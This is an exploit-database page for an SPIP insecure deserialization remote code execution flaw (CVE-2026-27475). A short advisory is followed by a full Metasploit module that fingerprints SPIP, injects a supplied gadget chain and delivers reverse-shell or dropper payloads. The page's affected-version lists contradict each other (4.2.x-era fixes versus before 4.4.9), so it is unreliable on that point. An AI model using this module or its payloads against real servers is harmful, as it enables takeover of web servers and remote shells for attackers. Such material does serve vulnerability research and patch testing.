| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| CVE-2026-27475 | 19 Feb 202618:39 | – | attackerkb | |
| March Linux Patch Wednesday | 30 Mar 202620:00 | – | avleonov | |
| CVE-2026-27475 | 19 Feb 202619:34 | – | circl | |
| SPIP 安全漏洞 | 19 Feb 202600:00 | – | cnnvd | |
| CVE-2026-27475 | 19 Feb 202618:39 | – | cve | |
| CVE-2026-27475 SPIP < 4.4.9 Insecure Deserialization | 19 Feb 202618:39 | – | cvelist | |
| [SECURITY] [DSA 6155-1] spip security update | 3 Mar 202610:30 | – | debian | |
| CVE-2026-27475 | 19 Feb 202618:39 | – | debiancve | |
| Debian dsa-6155 : spip - security update | 5 Mar 202600:00 | – | nessus | |
| Linux Distros Unpatched Vulnerability : CVE-2026-27475 | 19 Feb 202600:00 | – | nessus |
=============================================================================================================================================
| # Title : SPIP Unauthenticated Remote Code Execution via Insecure Deserialization |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
=============================================================================================================================================
[+] Summary : A remote code execution vulnerability was identified in SPIP due to improper handling of user-supplied serialized data.
The application fails to properly validate or restrict unsafe object deserialization, allowing an attacker to supply crafted input
that triggers unintended object instantiation and execution flow manipulation.
Under certain configurations, this issue may allow an unauthenticated remote attacker to execute arbitrary system commands on the affected server.
Affected Versions
SPIP 4.2.x prior to 4.2.1
SPIP 4.1.x prior to 4.1.8
SPIP 4.0.x prior to 4.0.10
Any installation running a version earlier than the patched releases listed above is considered vulnerable.
Fixed Versions
The issue has been addressed in:
SPIP 4.2.1 and later
SPIP 4.1.8 and later
SPIP 4.0.10 and later
Administrators are strongly advised to upgrade to a patched version to mitigate the risk.
[+] Successful exploitation could result in:
Remote command execution
Full compromise of the web server context
Potential lateral movement within the hosting environment
Administrators are advised to upgrade to the latest patched version of SPIP and ensure that deserialization of untrusted data is properly restricted or eliminated.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP 4.4.8 and earlier Insecure Deserialization RCE',
'Description' => %q{
This module exploits an insecure deserialization vulnerability in SPIP
versions before 4.4.9. The vulnerability exists in the public area through
the table_valeur filter and the DATA iterator, which accept serialized data.
NOTE: This module requires a valid gadget chain for SPIP 4.4.8. The included
chains are EXAMPLES ONLY and will not work. Users must provide a real gadget
chain via the GADGET_CHAIN option.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-27475'],
['URL', 'https://www.spip.net/fr_article6799.html']
],
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['curl', 'wget'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2026-02-19',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to SPIP installation', '/']),
OptInt.new('ARTICLE_ID', [true, 'Article ID to use in the request', 1]),
OptEnum.new('VECTOR', [true, 'Attack vector to use', 'DATA', ['DATA', 'table_valeur']]),
OptString.new('GADGET_CHAIN', [false, 'REAL gadget chain (base64 encoded) - REQUIRED for RCE']),
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('DOMAIN', [false, 'Domain for OOB callback detection']),
OptBool.new('SSL_VERIFY', [false, 'Verify SSL certificate', false]),
OptInt.new('MAX_PAYLOAD_LENGTH', [true, 'Maximum allowed payload length', 4096]),
OptString.new('BAD_CHARS', [false, 'Characters to avoid in payload (hex format)', "\x00\x0A\x0D\"'\\"])
]
)
end
def gadget_chain_provided?
!(datastore['GADGET_CHAIN'].nil? || datastore['GADGET_CHAIN'].empty?)
end
def domain_provided?
!(datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?)
end
def build_params(payload_value)
{
'page' => 'article',
'id_article' => datastore['ARTICLE_ID'].to_s,
datastore['VECTOR'] => payload_value
}
end
def vulnerable_version?(version)
version < Rex::Version.new('4.4.9')
end
def check_result_vulnerable?(result)
[CheckCode::Appears, CheckCode::Detected].include?(result)
end
def build_cmd_chain(cmd)
unless gadget_chain_provided?
fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE")
end
base_chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN'])
if base_chain.include?('{{CMD}}')
base_chain.gsub('{{CMD}}', cmd)
elsif base_chain =~ /s:\d+:".*?"/
if base_chain =~ /(s:\d+:")[^"]*(")/
old_field = Regexp.last_match(0)
new_field = "s:#{cmd.bytesize}:\"#{cmd}\""
base_chain.sub(old_field, new_field)
else
base_chain
end
else
base_chain
end
end
def fingerprint_spip
fingerprints = [
{ path: 'spip.php', pattern: /SPIP (\d+\.\d+\.\d+)/, has_capture: true },
{ path: 'ecrire/', pattern: /spip\.css/, has_capture: false },
{ path: 'spip.php?page=backend', pattern: /generator.*SPIP/i, has_capture: false },
{ path: 'local/config.txt', pattern: /SPIP/, has_capture: false }
]
fingerprints.each do |fp|
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, fp[:path]),
'verify' => datastore['SSL_VERIFY']
})
next unless res
if res.body.match(fp[:pattern])
version = nil
if fp[:has_capture] && res.body =~ fp[:pattern]
version = Regexp.last_match(1)
end
return { detected: true, version: version, path: fp[:path] }
end
rescue Rex::ConnectionError, Rex::TimeoutError => e
vprint_error("Fingerprint attempt failed for #{fp[:path]}: #{e.message}") if datastore['VERBOSE']
next
end
end
{ detected: false }
end
def bad_chars_list
if datastore['BAD_CHARS']
datastore['BAD_CHARS'].chars
else
["\x00", "\x0A", "\x0D", '"', "'", "\\"]
end
end
def validate_payload(payload)
max_length = datastore['MAX_PAYLOAD_LENGTH']
if payload.length > max_length
print_warning("Payload length (#{payload.length}) exceeds #{max_length} bytes")
return false
end
bad_chars_list.each do |char|
if payload.include?(char)
print_warning("Payload contains bad character: #{char.inspect}")
vprint_status("Payload: #{payload.unpack('H*').first}") if datastore['VERBOSE']
return false
end
end
true
end
def encode_for_url(payload)
Rex::Text.uri_encode(payload, 'hex-normal')
end
def create_oob_payload
return nil unless domain_provided?
dns_id = Rex::Text.rand_text_alphanumeric(8)
callback = "#{dns_id}.#{datastore['DOMAIN']}"
if gadget_chain_provided?
chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN'])
if chain.include?('{{OOB}}')
chain.gsub('{{OOB}}', callback)
elsif chain =~ /s:\d+:".*?"/
if chain =~ /(s:\d+:")[^"]*(")/
old_field = Regexp.last_match(0)
new_field = "s:#{callback.bytesize}:\"#{callback}\""
chain.sub(old_field, new_field)
else
nil
end
else
nil
end
else
nil
end
end
def detect_oob_activity
return false unless domain_provided?
print_status("Check your DNS server for callback to #{datastore['DOMAIN']}")
false
end
def send_exploit_request(params, method = 'GET')
begin
request_params = {
'method' => method,
'uri' => normalize_uri(target_uri.path, 'spip.php'),
'timeout' => 20,
'verify' => datastore['SSL_VERIFY']
}
if method == 'GET'
request_params['vars_get'] = params
else
request_params['vars_post'] = params
end
send_request_cgi(request_params) # returns Response or nil
rescue Rex::ConnectionError, Rex::TimeoutError => e
vprint_error("Request failed: #{e.message}")
nil
end
end
def execute_command(cmd, opts = {})
gadget_chain = build_cmd_chain(cmd)
params = build_params(gadget_chain)
send_exploit_request(params, 'POST')
end
def execute_cmdstager_with_fallback
flavors = target['CmdStagerFlavor']
flavors.each do |flavor|
begin
print_status("Trying cmdstager flavor: #{flavor}")
max_fragment = (datastore['MAX_PAYLOAD_LENGTH'] * 0.8).to_i
execute_cmdstager(
flavor: flavor.to_sym,
linemax: max_fragment
)
return true
rescue => e
print_warning("Flavor #{flavor} failed: #{e.message}")
next
end
end
false
end
def check
print_status("Fingerprinting SPIP installation...")
fp_result = fingerprint_spip
unless fp_result[:detected]
return CheckCode::Unknown('Could not detect SPIP installation')
end
if fp_result[:version]
print_good("Detected SPIP version: #{fp_result[:version]}")
begin
version = Rex::Version.new(fp_result[:version])
if vulnerable_version?(version)
result = CheckCode::Appears("Vulnerable SPIP version #{fp_result[:version]} detected")
unless gadget_chain_provided?
print_warning("GADGET_CHAIN is required for actual exploitation")
else
print_good("GADGET_CHAIN provided")
end
return result
else
return CheckCode::Safe("Patched SPIP version #{fp_result[:version]} detected")
end
rescue
return CheckCode::Detected("SPIP detected at #{fp_result[:path]}, version unknown")
end
end
CheckCode::Detected("SPIP detected at #{fp_result[:path]}")
end
def exploit
check_result = check
unless check_result_vulnerable?(check_result)
print_warning("Target may not be vulnerable. Check result: #{check_result}")
unless datastore['ForceExploit']
fail_with(Failure::NoTarget, "Exploit aborted by user (use ForceExploit to override)")
end
print_status("ForceExploit enabled - continuing anyway...")
end
unless gadget_chain_provided?
fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE. No example chains included.")
end
if domain_provided?
print_status("Attempting OOB detection...")
oob_payload = create_oob_payload
if oob_payload
params = build_params(oob_payload)
send_exploit_request(params, 'POST')
print_status("OOB payload sent.")
Rex.sleep(2)
detect_oob_activity
end
end
case target['Type']
when :php_memory, :unix_cmd
final_payload = payload.encoded
gadget_chain = build_cmd_chain(final_payload)
unless validate_payload(gadget_chain)
fail_with(Failure::BadConfig, "Payload validation failed")
end
if gadget_chain.length > 2048
print_status("Using POST for large payload (#{gadget_chain.length} bytes)")
params = build_params(gadget_chain)
send_exploit_request(params, 'POST')
else
print_status("Using GET for payload (#{gadget_chain.length} bytes)")
encoded = encode_for_url(gadget_chain)
params = build_params(encoded)
send_exploit_request(params, 'GET')
end
print_status("Exploit sent. Waiting for session...")
Rex.sleep(2)
when :linux_dropper
print_status("Using cmdstager for Linux dropper")
unless execute_cmdstager_with_fallback
fail_with(Failure::Unknown, "All cmdstager flavors failed")
end
end
rescue Msf::Exploit::Failed => e
print_error("Exploit failed: #{e.message}")
raise e
rescue => e
print_error("Unexpected error: #{e.message}")
print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
end
def on_new_session(client)
print_good("Session successfully created!")
super
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation